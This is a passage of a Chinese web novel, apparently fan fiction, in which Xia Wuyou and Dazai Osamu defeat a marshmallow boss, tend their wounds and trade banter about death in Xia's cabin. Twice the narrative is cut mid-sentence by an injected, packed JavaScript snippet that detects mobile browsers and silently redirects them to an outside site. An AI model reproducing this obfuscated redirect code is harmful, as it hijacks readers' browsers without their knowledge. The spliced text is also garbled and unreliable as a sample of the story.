他挥动剑,空中出现不同高度的加强弹床,他跳到一个上面,被弹得特别高。 空中的他起起落落,不断变幻姿势,一会躺着,一会侧撑着头,完全避开了糖果炸弹。 糖果炸弹落在地上,炸出坑坑洼洼的洞,尘土飞扬,没给夏无忧和太宰治造成半点伤害,反而误伤了不少棉花糖怪。 这些海洋般的棉花糖怪,它们对王冠棉花糖小人忠心耿耿,想要变大解决敌人。 但它们的数量太多了,空间有限,谁变大就会挤到另外一个。 糖果炸弹落下后,在地上炸出了深浅不一的坑,不少比较笨的棉花糖怪会掉到坑里。 18.告捷 棉花糖怪对伙伴不抛弃不放弃,一个踩着一个要爬出坑。 它们刚要爬出坑,就被一发子弹串成糖葫芦。 太宰治都不需要瞄准,他待在夏无忧的护盾里,枪支还有夏无忧附加的[月赎],一个子弹过去,直线途径上的棉花糖怪都被消灭。 收割的过程变得无聊,随着他击杀数量的增多,天上的斜阳色泽越发鲜红如血,边缘泛着层不详的暗光。 另一边的夏无忧是与之相反的兴奋。 他脑海里是悦耳的通报声。 【您的岛民杀死了一只怪物,队伍经验共享,您收获了20点经验值。】 【您获得了20点经验值。】 …… 慢慢的,他发现不对了,敲起系统。 夏无忧:[管家,按理我和太宰治就差一波怪物的经验,为什么他升到2级了,我还没有?] 系统:【因为您是岛主,您升级比所有人都慢。】 夏无忧:[???你坑我,怎么不早说。] 系统:【我的失误。】 夏无忧咬牙切齿,决定先不和系统计较。 王座的棉花糖攻击没有持续太久,在它停下攻击的时候,他也弹到了棉花糖小人面前。 双方隔空相望。 夏无忧跃到王座上,一脚把棉花糖小人踢下去,猖狂道:“下去吧!这岛上的东西都是我的,你的位置我要了!” 棉花糖小人呈抛物线被踢出去,啪叽掉在地上,额头位置蹭上了灰。 它还没爬起来,就被太宰治的子弹打中了脑袋。 棉花糖小人因子弹的冲击力,往后面一摔,它仰躺在地上,豆豆眼对准王座上的夏无忧,嘴噘起,眼里含着泪光,跌跌撞撞再站起。 这么可怜的棉花糖,遇到的两个人都是狠心的。 夏无忧在上面旁观,太宰治用枪打穿了棉花糖小人的身体的每个关节。 棉花糖小人再次摔倒,它趴在地上,身体颤抖起来,瞬间之间,所有的棉花糖怪都不动了,风也仿若凝固。 身体抖动的棉花糖小人背后长出一对翅膀,它飞到天上,发出怪异的笑声。 原来它刚才在地上颤抖不是因为疼,而是在强忍着笑。 “哇咔咔!” 棉花糖小人发出无意义的叫声,夏无忧察觉到不对,他身下的王座在融化,黏稠的糖浆沿着他的鞋在往上爬。 他试着抬脚,发现鞋底被牢牢黏住了。 在糖浆要如沼泽般将他吞咽前,他淡定地用剑在王座上劈开一道长口子,再变出什么往里面扔。 轰隆、轰隆—— 持续而沉闷的爆炸声后,王座被他炸掉半边身体,在王座疼痛着扭曲时,夏无忧往后一跳,挣脱出来,朝着下方坠落。 他掉在弹床上,被高高抛起时旋身,手上的剑对上的棉花糖小人的偷袭。 夏无忧扬起笑:“早防着你了。”他将剑变回权杖,召唤星星飞镖攻击棉花糖小人。 棉花糖小人飞来飞去躲避飞镖,停在一处,在空中剁了下脚,身上爆发出白色的光芒。 夏无忧转过头,发现王座在分解,变成一个个白色的吃豆人,吃豆人在空中自旋转,缺口的嘴巴处发出激光。 夏无忧:? 他大为震惊,吃豆人和眼球似的,密密麻麻包围他,真的很精神污染。 吃豆人的数量太多,激光从四面八方袭来,他被棉花糖小人身上发出的强光刺到眼,根本看不到东西。 夏无忧避无可避,只能架起球形的屏障。 屏障不断被打破,再被他用能量修复。 因为知道自己的力量有限,这场战斗中他一直在控制自己的力量,没有幻化出太出格的存在。 可是这样下去还是不行,打持久战一定是怪物获胜。 而且——吃豆人真的很丑啊! 他觉得自己的脾气又上来了,他好好的游戏,到底是谁安排的这么讨厌的怪物! 夏无忧用手挡住刺眼的强光,挥转权杖,浅色的眼眸锁定得逞大笑的棉花糖小人。 他的眼睛颜色一向浅淡,因此不能直视太强烈的太阳光,系统知道这点,给他搭配衣服时都带帽子。 先前夏无忧把帽子收起来了,高空处没有什么雾气,光照过来,他的眼底隐隐泛红。 这让他整个人的气质变化,从天真的,烂漫的,到疯狂的,肆意张扬的。 夏无忧闭上眼,懒得变出墨镜,只靠听辨别位置。 他听到了风声,平稳的气流中有不和谐杂音——是飞动的吃豆人和棉花糖小人。 他辨别出棉花糖小人,向着它的方位发射星星飞镖,棉花糖小人再次狼狈地躲窜起来。 倏然间,夏无忧捕捉到了一道破风声,他的嘴角微微翘起。 在他用星星飞镖把棉花糖小人逼到一个位置时,幽暗的能量子弹从下方射来,将棉花糖小人的翅膀打出一个洞。 子弹具有太宰治的无效化特性,可以破开绝大多数的防御。 负伤的棉花糖小人大声痛呼,它召集了所有吃豆人,将吃豆人聚拢在一起,成为一片白色的“云朵”,以让它躲藏在其中。 但这招对夏无忧来说没用。 他举起权杖,金色的光芒从星辰宝石上爆发,他肩膀上的飘带在[星幻]的力量下变为虚幻的翅膀。 他撤去屏障,展开翅膀,向着吃豆人的方向俯冲。 吃豆人统一转向他,数量众多的激光聚合在一起,凝聚为炽白的激光攻击。 夏无忧躲闪开激光,没有进一步攻击,而是竖起拇指和食指,摆出比枪的手势,他闭着眼,张开唇无声说了句。 「砰~」 与此同时,天穹上的斜阳向下坠落。 恍如一滴残破神像流下的血泪,也似黄昏时融入海平面的红日。 它坠到由吃豆人组成的“白朵”上,轰然炸开了万千破碎的血晶,飞扬的血晶在光芒下流光溢彩,宛若纷落的赤红花瓣。 夏无忧抓住机会,将自己的所有力量集中在权杖上,权杖幻化为透亮的金色长剑,剑柄处有个星星组成的光环。 他穿过被轰开的吃豆人,飞到要逃窜的棉花糖小人面前,推动手,用剑贯穿怪物的心脏。 强大的力量爆发开,棉花糖小人在惨叫中泯灭。 系统的通知紧随其后。 【恭喜您击杀了首领怪,奖励:中级宝箱x1、小红帽套装(双形态装扮)、猎人套装(装扮)、能量水晶x1、净化石x1、建筑材料包x8、传送点x2、50积分】 【怪物图鉴已更新!】 【当前区域净化值为92%,本区域已并入您的版图!】 【您获得了500点经验值!】 夏无忧听着一连串的通报声,只着重记了下[传送点],这倒是意外之喜。 其余的他根本来不及细看,用光力量后,疲惫和疼痛卷席而上,他头疼欲裂,额头和后背都分泌出了冷汗。 吃豆人和剩下的棉花糖怪都被消灭了。 雾气消退,碧空万里。 一道彩虹出现在晴空之下,缤纷的光彩相映成趣,犹如用霞光和珍珠织就的丝绢。 夏无忧的翅膀消失,后仰着坠下。 清凉和煦的风从环绕着他,眼睛的灼疼在逐渐消退。 令人不安的,令人心悸的失重感传来,他悬浮着,灵魂不受控制地漂移,一片漆黑的世界中,他渐渐听清了一道呼吸声。 夏无忧知道那是谁。 在他估算着自己离地面还有一小段距离时,他期待地,欣喜地睁开了眼,映入眼的却是一对鸢色无神的眼眸。 ——太宰治半边身体都被血染红,他仰望着,在笑,下颚与颈脖勾出锋利的交线。 如引颈受戮的黑色羔羊。 夏无忧瞪大了眼,脸上的笑消失,心跳有片刻归于寂静。 更为黑暗冰冷的情绪涌上,他呼入了沉闷的空气,空气有了重量,化作手,攥住他的肺腑,将之如熟透的浆果般挤压。 他头朝下,在颠倒的世界中注视着太宰治。 太宰治笑着展开双臂,像是舞台上获得欢呼的玩偶,圆满完成了一项恶作剧,脸上的笑容发自内心。 也如橱柜里掉出的玩偶,以摔落获得了被抛弃的自由。 夏无忧立刻意识到太宰治是故意的,太宰治身上的伤痕不会是怪物弄的,也不是他自己弄的,太宰治不会无缘无故自伤。 那就是只能是技能的负面效果。 ——来源于他祝福的技能。 夏无忧几乎要为太宰治鼓掌,多么高明的报复,多么高明的作践。 他给出承诺和祝福,太宰治不要,于是要他亲眼去看,去看这一切都不过如此。 夏无忧的余光看到了地面,在摔落前,他不顾身体的无力,强行调动了能力,变出了一对真正的翅膀。 白色的骨撕开他后背的皮肉,展开两边的骨架,再填补上血肉和白羽。 新生的翅膀扇动,支撑住他的身体,让他悬停在空中,翅膀遮住的影子圈住了太宰治的退路。 夏无忧的眼睛还在疼,他锁定太宰治,飞下按住太宰治,将人扣在泥泞的地上。 力量总有代价。 这样长出的翅膀所用的力量少,但疼痛是切实的。 翅膀长出的地方流着血,鲜血流过他的背,渗透了他的臂弯处的衣服,再汇聚成血珠,一滴滴砸落在太宰治身上。 有温热的血滴落在太宰治的手背上,让他动了下手指。 夏无忧用手捂住太宰治的眼,头抵在太宰治的锁骨处,闻到了浓郁的血味,来自太宰治的,来自他的,他佝偻着,翅膀也蜷缩起来。 “你真够……” 他找不到一个合适的形容词。 夏无忧在疼,后背疼,心口疼,但他需要痛苦,需要痛苦维持他的理智。 他向太宰治承诺会见证他的一生。 所以……也只能是见证吗? 夏无忧现在的大脑有点乱,但他出奇地平静,如同过去他要面对的一次又一次的危机,再痛苦,他都要把事情解决了。 他想,或许太宰治不是以前他接触过的任何一个人。 太宰治是松脂,火焰靠近它,可以一时地照亮它琥珀般的光,却也会让它燃烧为灰烬。 原来接近就是错的。 夏无忧逐渐从失落中脱离出来,松开了捂住太宰治的手。 他没去看太宰治的眼睛,如果太宰治注定从黄昏步入血月,再从痛彻心扉的离别里,褪去迷茫,踏入白日。 那他的承诺和祝福或许都是错误。 错误——一个与他无缘的词。 系统问过他,太宰治对他来说是什么,是丑陋的毛毛虫,还是美丽的蝴蝶。 当时他说都不是,因为他觉得太宰治是混沌。 一道同样吸引他的无解谜题。 夏无忧的骄傲让他自负,他自负自己能给出的是最好的,而他的骄傲不允许让他成为错误。 他遇到了一个人,那人的有块腐烂的肉,他以为割下这片肉,就可以让伤口新生,可是他忘记了,割下腐肉,同样可能会加剧伤口。 他不想承认不适合,但他也得接受不适合。 再不舍,再痛苦,从错误的起点走出的路,一直都是错误的。 他不允许自己这样失败。 好在,好在他还没干预太多,往后的所有策略都可以改变,他做这片孤岛的岛主,掠取星火般的生命,在黑暗中实现他的承诺。 这样想,夏无忧松了口气。 他从太宰治身上站起,准备缓一缓,等力量恢复了,再治好太宰治把人丢回现实。 而他还没站稳,就被一只手攥住手腕拉下。 他本就是强弓之弩,被一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714547|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拽就摔倒了,他摔在坚硬但意外温暖的身体上,太宰治的手拂过他的眼尾,将他的下颚掰过来。 夏无忧不怎么情愿地注视着太宰治,抿住唇。 太宰治还在笑,那笑足够恶劣,全然发自内心,他摸着夏无忧的眼,失望道:“没哭啊。” 夏无忧面无表情:“我为什么要哭。” 太宰治察觉到什么,笑意从他脸上褪去,他审视着夏无忧,手臂环住夏无忧的脖子,下巴搭在怀中人的肩上,手拂过翅膀上染着血的羽毛。 羽绒柔软温暖,将手贴上去,像是触碰到了夏日的阳光。 他的声音轻到如呢喃。 “夏无忧,这次你怎么不和我说自己厉害了呢?” 诸般话语堵在夏无忧喉间,他深呼吸几口气,冷冷道:“因为被你气死了。” 他听到了一声闷笑。 夏无忧更加愤怒了,太宰治还敢笑话他! 他转过身,恶狠狠地瞪着太宰治,试图把被太宰治摸着的翅膀收回去,但这东西长出来疼,收回去也要力量,他半点力量都没了。 夏无忧干脆用翅膀尖拍打太宰治的脸。 太宰治笑得更高兴了。 他把翅膀按在自己颈窝里,用脸在里面埋了埋,再抬起头时,唇间叼着一片羽毛,故作惊讶地说:“小章鱼,你掉毛了。” “啊啊啊啊啊!” 夏无忧彻底怒了,他现在想咬死太宰治。 他的确抓起太宰治的手咬了,巧的是,咬的还是初遇时咬过的虎口。 太宰治显然也想到了,他放松自己手部的肌肉,两指捏着夏无忧的脸颊,给人支招,“再用点力,你这样咬都咬不出血。” 夏无忧眼前发黑,一部分原因是被气的,更多是透支力量的后遗症。 他松开牙就要起身,但翅膀被太宰治捏着,扯半天没扯动,还又被揪掉几片羽毛。 夏无忧劝自己不气,不和太宰治计较。 太宰治却张开手臂,坐起身,拥抱了一下他。 夏无忧又纠结起来。 太宰治贴在他脸边,刻意将声音压得软绵,“好——疼啊。” 夏无忧哼了声:“怎么没疼死你。” 太宰治:“这有点难度。” 夏无忧愤怒:“你!” 在他要去掐太宰治时,太宰治早有预料地握住他的手,放轻了声音:“你掉下时,我想接住你的。” 夏无忧不解:“然后我们摔成两个血人?” “也可以哦。”太宰治笑道,“在连死亡都不存在的岛屿上,为什么要惧怕坠落。” 夏无忧不想着挣扎了,他取出一个毯子铺在地上,半爬半挪到上面,抱住腿坐着,将翅膀合拢起来,怕把太宰治压得伤上加伤。 见太宰治要动,他又用翅膀尖压住太宰治的肩,让人坐好,然后开始盘问。 夏无忧:“你的技能是什么?” 太宰治复述了一遍[斜阳]技能。 夏无忧:“你先前不告诉我,是为了故意嘲笑我?” 太宰治叹了口气,知道夏无忧在气什么,“我承认,有吓你的成分,但没有在嘲笑。” 夏无忧总算愿意挪个方位,对向太宰治了,他把脸埋在臂弯里,只露出对浅色的眼,声音闷闷的。 “真的?” “真的。”太宰治用手一下一下梳着夏无忧的翅膀,把凌乱的羽毛理好,“换我提问了,你很在乎我受伤吗?” 夏无忧:“我以为你知道。” 太宰治将自己半边落下的乌发别在耳后,他注视着夏无忧,鸢色的眼眸变暗,深到将所有的光都吞噬,“刚才,你是要离开吗?” 他们都知道这不是“离开”,而是“离别”。 夏无忧神色恹恹:“不可以吗?” 过了许久太宰治才开口,语调冷了许多。 “你说过游戏不会结束,这是假的?” 夏无忧固执地望入太宰治的眼,“我接受自己会成功和失败,但我不接受我是错误的。” 他深深吸入口气,将脸往下埋了埋,目光没有焦点地看着自己的鞋尖。 “你得知道,我的承诺和祝福都是很珍贵的,你可以不要那个祝福,但不能作践我的祝福。” 祝福是夏无忧觉得的,世界上最美好的存在。 没有祝福,他不会是他,他不会是现在的夏无忧。 夏无忧听到了衣料的窸窣摩擦声,太宰治站起来了,走到了他的面前,在他要问怎么了时,他的肩膀被蹲下来的太宰治抱住。 “我知道了。” 他听到太宰治这样说道,其中不参杂轻浮、谎言和试探,用的是妥协般的认真语气。 夏无忧一时陷入迷茫。 他想了想,自己居然不生气了,他什么时候这么好说话了,还有太宰治,太宰治的确没想过讽刺他。 顶多是要吓他……那也不对! 夏无忧这会有力气和太宰治算账了,在他要质问太宰治时,他听到了一道极具有穿透性的“嘎嘎”叫声。 他设置的小黄鸭摆钟在叫,正午十二点到了。 他们的比赛也出结果了——平局,谁都没赢,谁都没输。 夏无忧明白了,这是太宰治的另一层目的。 虽然只听过一遍,但他记得自己的奖励里有[传送点],他本来想着落下后,吓太宰治一跳,再当着他的面传送,赢得比赛。 他就是这么不择手段的人。 但太宰治给他准备了个大惊喜。 太宰治虽然不清楚他有什么手段,但要防着他赢,所以来了这出,把时间拖到了平局。 这样夏无忧只有两个选择,要么两个条件都作废,他不能给太宰治送花。 要么两个条件都成立,他得回答太宰治一个问题。 甚至可以说,太宰治在问 ——要用一束花换一个问题吗? 19.进屋 这也不算是选择。 用一个问题换自己想要的,夏无忧怎么会拒绝? 但他现在没精力回答太宰治的问题,他需要找到一处温暖适宜的地方,睡个午觉,吃顿热乎的饭,等恢复好了再战开荒。 靠太宰治是靠不住的,他需要新的岛民! 所以什么时候把太宰治丢回去呢? 先让人休息会吧,不然显得他刚使唤太宰治打完架就丢没良心。 夏无忧打开背包,选中新得的[传送点],传送点是一颗星辰法阵,选中法阵后,他眼前浮现出一张地图。 地图上岛屿被不同的维度线描绘出来,属于他的区域是亮的,迷雾区什么也看不清。 他所在的区域被净化过,还有淡淡的雾气,但显示出[净化值82%]。 夏无忧把其中一个传送点放到自己的木屋。 【您是否将传送点设定在此,选中后不可更改?】 【是<><> 在夏无忧选中是后,他视野页面中的[地图]图标亮了。 【已为您激活地图功能!】 地图默认状态下是缩略图,显示小片附近地形,代表他的坐标是个小金点,太宰治是代表已方的绿点。 他猜测怪物是红色的点。 夏无忧点击地图,地图从缩略图变为全图,全图上有个小木屋标志,是可被选中的。 蹲坐着的他眼睛一亮,伸出两只手,一手拉住地上毯子,一手抓住太宰治,同时点击传送,中途把毯子放进背包。 下一秒,他就出现在自己的家门口。 夏无忧抬起无力的手,按在门上使力,边上正在环顾周围,若有所思的太宰治嫌慢,上前一步,伸手推了下门——没推动。 他看向夏无忧。 夏无忧有气无力道:“别想了,这是我家,未经过我同意能进去的,只有……” 他略过了后面的词,换了体面点的说法,“只有和合法室友,全自己闯祸机,以及情绪过山车机。” 夏无忧一口气说了三个名词,其实就是岛主配偶的意思。 什么合法,法律承认的户口本合法。 “过山车”是什么,是一个体验心塞、无语和血压飙升的项目,一旦上车,就无法中途下车。 再具体点,都是太宰治。 太宰治愣了下,很快就接受了,他心中有数,但要明知故问:“这么多人能进,我不能吗?” “不能。”夏无忧推开门,在门口缓了会,终于收起身后那对碍事的翅膀。 见到屋内窗明几净,温暖整洁,他面上闪过一丝痛苦,堵在门口,盯住太宰治。 很好,一个,又一个,两个血人。 夏无忧觉得房屋的[一键清理]功能不够完善,应该扩展到一键清理人。 他捂了下自己的眼,踏入房间。 太宰治跟在身后,打量起这个房间,虽然他在这个屋子睡过一晚,但现在的心态与昨夜有所不同。 在他的手要碰到什么时,一道存在感极强的视线扫了过来。 是幽幽看来的夏无忧。 太宰治愉快地走动,到处摸来摸去,取下书架上的书,明明有封面的,但是被他翻开后书页是空白的。 太宰治无聊,就在空白页上按了个血手印。 夏无忧的目光更幽怨了。 太宰小人的心情值迅速上升,身边飘起了小花特效。 他和从什么鬼故事里走出来幽灵一样,在房间里到处留下血糊糊的手印,如果忽视这是个血手印,倒是像猫踩出的串串梅花。 夏无忧闭上了眼,选择眼不见为静。 他和入定一样坐在厚实的地毯上,等待体内能量的恢复。 他是能从商城买药剂,但那可是他宝贵的积分,他疼点没什么事,太宰治疼点也好长记性。 若是打架前他知道技能会自伤,他肯定会留点力量给太宰治疗伤。 夏无忧复盘自己为什么没有发现太宰治受伤,首先,他打架容易上头,一上头他心中只有赢。 其次,太宰治刻意隐瞒了这点,并且将自己的呼吸维持在与往日无常的状态。 最后,棉花糖小人的闪光太刺眼。 还有一个他不想承认的点,就是他那该死的恶趣味和浪漫基因,试想,从空中坠落,在要投入大地的怀抱前一刻睁开眼,见到颠倒世界中的人。 如同从地平线的曙光中抓住了飞扬的白羽。 想来想去,还是太宰治运气太好。 夏无忧要质疑[繁星]了,真的有幸运加成吗? 还是说在他的潜意识中,那血色的一幕更符合他的美学呢? ——荒诞无尽的红日天,满身是血的黑羔羊。 ——自己审判自己,自己献祭自己,为祝福而死,以死亡作生。 所以幸运就是这么不可琢磨的存在。 夏无忧想着想着,有点累了,他目光放空地看着太宰治在各处转悠,到了后面,太宰治印不出清晰完整的血手印了,看着还有点遗憾。 太宰治接下来的目标是夏无忧的床。 夏无忧立刻瞪大了眼,迅速站起来,抓住了太宰治手臂处的绷带。 太宰治偏过头,笑吟吟问:“怎么了,夏君?” 夏无忧坐久了,起得太猛还有点晕,他游离的目光落在太宰治身上,用一种平淡中透着点认真的语气说。 “你喜欢绷带。” “嗯~” 夏无忧上手,直接去扯太宰治被血染红的绷带,太宰治护住自己,嘴上念着:“诶?怎么了,凶手君终于恼羞成怒,要用绷带勒人行凶吗?” 夏无忧继续扯,看太宰治的目光如同在看什么闹腾不懂事的病患,语气平静到渗人。 “把你用绷带捆起来,才是我作为杀手的职业素养。” 他自发把凶手的称呼升级为杀手。 太宰治大惊失色,这表情很假,他眼底还有几分笑意,语气却充满了谴责。 “不,你玷污了杀手这个神圣的职业,作为一个杀手,居然想不出让我无痛死亡的办法。” 他状似在挣扎,其实和逗人差不多,力道和两只鸟在互啄一样。 夏无忧拽住绷带,好在,太宰治这会穿的是那套休闲的无袖背心,方便了他找出绷带的打结地方。 坏在,太宰治是种生命力顽强的生物,受着伤也灵活如泥鳅,力气还挺大。 他飞快地解开了结,抓住了绷带的一端,太宰治反应同样快,抓住了绷带的另一端,两个人拔起河。 夏无忧勾起笑,疲惫状态的他语调没有起伏,眼中没什么笑,这样的状态下,属于他的更多特性浮出水面。 ——强势、冷漠、引诱人走向末路的恶劣。 “治不觉得死亡和入梦很像吗,都是中断意识,你多睡睡觉,不就在慢性自杀吗?” 太宰治轻启唇,张开手指,神色惊讶地捂住嘴,“这样岂不是说,我每天都在和全世界的人殉情吗?” 夏无忧弯起眼,“是呢,无论治是想要好的,坏的,是人,不是人的,所有的殉情对象都可以一次性满足,是不是幸福到想要立刻睡觉?” 两人扯着绷带,太宰治找准时机一下子松开手,再攥住了往后倒的夏无忧的手腕。 他拉起夏无忧说:“不要,我对殉情是有自己要求的。” 夏无忧没抵抗,他空落的目光落在太宰治身上,很明显地叹了口气。 他抓住太宰治的手,翻转过来,用绷带缠了几圈,打了个蝴蝶结,再一手托着,一手覆太宰治的手背上。 “如果一会我晕了,你想做什么事?” 太宰治兴味道:“要听真话还是假话?” 夏无忧想都没想:“假话。” 太宰治:“把你屋子炸了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733040|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏无忧:“这也不像是假话。” 太宰治:“你怎么能判定这是真话还是假话呢,要不亲自验证下?” 夏无忧:“治猜到我想做什么了?” 太宰治:“唔——你觉得时间太慢,想干脆治好我,再透支力量晕过去,通过睡觉恢复体力?” 夏无忧微笑:“怎么可能。” 他伸出双手,搭在太宰治的侧颈处,仿佛在丈量尺寸,左右手的拇指靠在一起,按在太宰治的喉结上。 他的语调无比柔和:“我看起来像好人吗?” 说完他动用才恢复的能量,毫不留情地捏晕了太宰治。 太宰治往下滑倒,夏无忧艰难扶住人,把人调整到坐在地毯,后背靠着沙发的姿势,再给太宰治盖了张轻薄的毯子。 他觉得自己太伟大了。 人果然是海绵,挤一挤总能压榨点力量。 靠着顽强的意志力,他走到浴室,调好温水往身上冲,连身上的水都没擦干,就套着睡衣,坐到太宰治靠着的那张沙发上,用被子把自己裹成蚕蛹。 他躺到松软的沙发上,发动了[月赎],浅淡的光在他和太宰治的伤口处流动,可惜力量太微弱,仅让伤口愈合到不再流血。 夏无忧是真要晕过去了,晕前他不忘叮嘱系统。 夏无忧:[管家,要是太宰治提前醒了要搞什么事情,你就把我喊醒。] 说完他彻底昏睡过去。 他没发现,在他闭上眼的不久后,沙发边坐着的太宰治睁开了眼,眼中无比清明。 系统没有唤醒夏无忧。 因为夏无忧说的是“太宰治醒来后搞事”,要满足[醒来]和[搞事]两个前提,太宰治醒来没动,所以系统判定条件不满足。 太宰治睁开眼后,低下头,将手上夏无忧打的蝴蝶结解开。 他一点点将身上的所有绷带拆开,地上堆叠起不同的绷带,不少染着血,有些因为氧化呈现出暗黑色。 解开绷带后,他的身体接触到空气,许久未见光的皮肤苍白到不健康。 在夏无忧这个房屋的主人入睡后,房间的灯变为夜间模式,莹弱的灯光下,太宰治的手停在自己眼部的绷带上。 他想到夏无忧触碰这里时,那疯狂黏腻的灼热。 那滚烫的温度似乎还残留在皮肤上,变为什么小种子,长出了藤蔓,钻入了他的血肉。 太宰治放下手,还是没拆开这里的绷带,坐着的他转过身,将手臂搭在沙发上,去看昏睡的夏无忧。 他抬起手,不知从哪拿出片白羽。 这是唯一一枚没在夏无忧解除翅膀后消失的羽毛。 太宰治用羽毛蹭了下夏无忧的睫毛,幽幽叹气,“说真话,你也不信。” 这句话夏无忧是注定听不到了。 沙发上的夏无忧睡前把自己裹成球,但一入睡,他无意识舒展开身体,还觉得身上的被子阻碍了他的自由,不高兴地蹙着眉。 他本来捏着被子一角的手垂落在沙发上,微微蜷缩着。 太宰治不知怎么想的,将手中的羽毛放在夏无忧的手心,睡梦中的夏无忧本能合拢手,连带抓住了太宰治的手指。 太宰治的手细微颤了下,他等了会,确定夏无忧没有醒来后,才将自己的手往外抽离。 但沙发上的人睡着了也不安分。 夏无忧潜意识觉得有人抢他的东西,于是侧躺着将身体往下埋了埋,把自己的脸压在手上。 太宰治的指关节触到了夏无忧温软的脸。 他僵住了。 不知道他权衡了什么,妥协了什么,大概是觉得没必要,也可能是受了伤没精力,他趴到沙发上开始休憩。 或许,他单纯是为了能在夏无忧醒来后吓对方一跳。 不管如何,他在宁和醇厚的木质香,以及被褥上的温暖气息中,慢慢陷入了梦乡。 20.清点 夏无忧睡眠质量好,在意识回笼前,他对外界的感知是朦胧的。 他试着动了下手,手是麻的。 他感到困惑,但更困倦,不想睁开眼。 灵魂如沙漏,散落在梦中的意识慢慢回流,夏无忧迟缓地感觉到,自己的脸下咯着什么。 他迷迷糊糊想明白了,原来是自己枕着手睡觉,把手压麻了。 他与自己的意识做了漫长的搏斗,终于下定决心,要把手从脸下抽出来,大脑发布了号令,手部的触感先一步恢复。 他得到了新的信息。 自己手里还抓着什么东西,捏了下,是软的。 他睡觉前抓着什么东西了吗? 夏无忧开始回忆睡觉前的事,无数彩色的记忆碎片划过大脑,棉花糖、斜阳、血、翅膀……太宰治。 太宰治?! 他大觉不妙,立刻清醒过来,睁开眼,对上一对含笑的眼。 夏无忧觉得自己还没睡醒,他看清了自己抓着的是什么,是太宰治的手,如果说他的手被自己压了很久而麻了,那太宰治的手就是被他焐热了。 还是再睡会吧。 他改变自己的睡姿,将两手放在胸前,安详地闭上了眼。 黑暗的视野中,他感到沙发在下陷,太宰治的声音被什么影响,变得近而闷重。 “早安,章鱼先生~” 哪里到早上了! 夏无忧睁眼转过头,见到了把手握成拳,当传声筒喊话的太宰治。 他的视线越过太宰治的肩,确定窗外还是亮的,他顶多只是小睡了会。 夏无忧一把掐住太宰治的脸,太宰治的嘴角扬着,显然是被他被吓到的表情取悦了。 夏无忧沉着脸,一字一顿道:“给·我·去·洗·澡。” 他想到了,太宰治还是血糊糊的。 等等,太宰治没在他脸上画涂鸦吧?! 夏无忧从沙发上弹跳而起,穿上拖鞋,给自己和太宰治施加了[月赎],这次的技能治好了他们所有的伤。 旋即他冲入了浴室,到被打碎的镜子前照来照去,确定了自己脸上没有血。 他还没松口气,就听到了太宰治的奚落。 “一个杀手居然怕血?” 夏无忧将手撑在洗手台的瓷砖上,从镜面见到了门口的太宰治。 夏无忧:“不怕,就是烦。” 太宰治:“之前说讨厌自己的东西被摸脏,那血呢,血就可以了?” 血和泥巴到底哪个脏? 夏无忧梳理了下自己睡乱的头发:“不,之前是因为我没力气,拦不住你,而且木屋有一键清理功能,等会我就把你丢出去。” 镜面倒映的太宰治点了下自己的脸,问道:“不讨厌血,为什么不想自己脸上有血?” 夏无忧拧开水龙头,接了点水清洗自己的手和脸。 潺潺水流汇聚,他随口道:“当然因为我也是自己的,我属于我,我的东西当然不能沾染血。” “不是哦,章鱼先生是只属于我的玩具。” 太宰治的声音从背后传来。 夏无忧被冷水冻一激灵,水从他的指缝流失,他觉得太宰治才该清醒下,但他一琢磨,打败太宰治得换个方式,于是他说。 “我拒绝,比起章鱼,明明过山车机才该是玩具吧。” 太宰治装作恍然大悟:“原来过山车机是来形容我的吗,这么说,我岂不是可以直接进入屋子了?” 夏无忧用毛巾擦干脸,“好,现在这个名额被我踢出去了,过山车是一项不利于身心健康的娱乐活动,我不要当终身持票者。” 他挂好毛巾,指了下门边的柜子。 “衣服在那。” 早晨离开木屋后,他就启动了[一键清理],他们的旧衣服都被游戏刷新了,现在都焕然一新,被烘干晒过,整齐地挂在衣柜里。 夏无忧越过太宰治,将门轻轻带上。 他走出门,查看起自己的背包,映入眼是他刚换下的休闲服,它在背包里是灰色的,显示在修复中。 衣服的修补刷新需要时间。 好在打完怪后,他得到了两套新衣服,分别为[小红帽套装(双形态装扮)]和[猎人套装(装扮)]。 待会他要分一套给太宰治,两套他觉得都不错。 猎人套装里有粗花呢夹克、猎装、山姆布朗腰带、长靴。 小红帽套装里有猩红色的披肩、拉巴领衬衫、带排扣的束腰裤、皮鞋。 夏无忧将衣服挂好,努力忽视屋子里的血手印,坐到沙发上,在脑海和系统算账。 夏无忧:[管家,你知道自己的失误了吗?] 系统:【您是说哪个?】 夏无忧:[还哪个!我不是说太宰治醒了搞事喊我吗!] 系统:【申明——这个条件的成立前提是醒来和搞事,可实际上,太宰治中途醒来过一次,但很快入睡了,一直睡到了您醒来。】 这么说太宰治也没醒多久。 夏无忧不知道该惊讶于太宰治老实,还是该反思自己的失误。 夏无忧:[那我升级慢的事呢?] 系统:【这是我的失误,在我优先级中,它的排级很低。一来在您重伤前我会将您传送走,二来我评估您和太宰治先生足够获胜。】 系统:【您和太宰治先生都具备战斗潜力,我认为不该一昧将您放在温室,您应当适当在风暴成长。】 夏无忧让系统打住:[行,这是小事,以后有事一定要和说明白。] 系统:【当然,与您共同走向巅峰是我的荣幸。】 夏无忧脑海里想着一系列的问题,边想,边翻看自己的战利品。 小怪掉落的东西都乱七八糟的。 